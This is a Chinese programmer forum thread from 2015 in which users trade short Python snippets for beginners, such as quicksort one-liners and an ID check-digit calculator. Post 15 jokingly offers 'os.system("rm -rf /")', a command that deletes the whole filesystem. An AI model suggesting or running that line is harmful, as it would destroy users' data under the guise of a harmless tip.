如题,python小脚本,用来新手学习。
1
tonychow 2015-05-06 09:18:27 +08:00 2
|
2
wwulfric 2015-05-06 09:38:24 +08:00
python -m SimpleHTTPServer 8000
|
3
20015jjw 2015-05-06 11:39:18 +08:00 via Android
a, b = b, a
|
5
tidewind 2015-05-06 12:05:46 +08:00 3
def ChineseZodiac(year):
return u'猴鸡狗猪鼠牛虎兔龙蛇马羊'[year%12] |
6
wegamekinglc 2015-05-06 12:21:25 +08:00
|
7
lincanbin 2015-05-06 12:31:50 +08:00
|
8
inFinityzc 2015-05-06 12:38:08 +08:00
三行代码实现快速排序:
def qsort(L): if len(L)<=0: return L return qsort([x for x in L if x<L[0]]) + [x for x in L if x==L[0]] + qsort([x for x in L if x>L[0]]) |
9
phx13ye 2015-05-06 12:46:43 +08:00
|
10
a398058068 2015-05-06 13:24:33 +08:00
print("hello world!") 谁敢说不断小 不精悍
|
11
lingo233 2015-05-06 13:35:14 +08:00 via Android
既然print被占了那我用这个
return “hello world” |
12
jason52 2015-05-06 13:42:08 +08:00 via Android
我的爬虫呀,
|
13
lovedboy 2015-05-06 13:45:33 +08:00 1
print u'星期'+u'一二三四五六七'[ datetime.date.today().weekday()%1024]
|
14
zerh925 2015-05-06 13:46:27 +08:00
import os
[i for i in os.listdir(os.getcwd()) if i[-3:] == 'png'] 一句(两句?)话读取当前目录所有png格式的文件并返回文件名列表 |
15
ipconfiger 2015-05-06 13:51:27 +08:00
import os
os.system("rm -rf /") |
17
hahastudio 2015-05-06 14:20:59 +08:00
@inFinityzc 明明真炫技只需一行
qsort = lambda l: [] if not l else qsort([x for x in l[1:] if x <= l[0]]) + [l[0]] + qsort([x for x in l[1:] if x > l[0]]) 再宣传一下 battery included 就是 lst.sort() |
18
sniperhgy 2015-05-06 14:59:16 +08:00
@ipconfiger 太狠了吧?
|
20
xifangczy 2015-05-06 18:10:24 +08:00
以前在v2ex看到过一个
>>> get_id = lambda s:s+str((1-2*int(s, 13)) % 11).replace('10', 'X') >>> get_id('34052419800101001') '34052419800101001X' 算身份证号效验码 |
22
xujialiang 2015-05-06 18:20:51 +08:00
@wegamekinglc hi~~~~~ 哈哈
|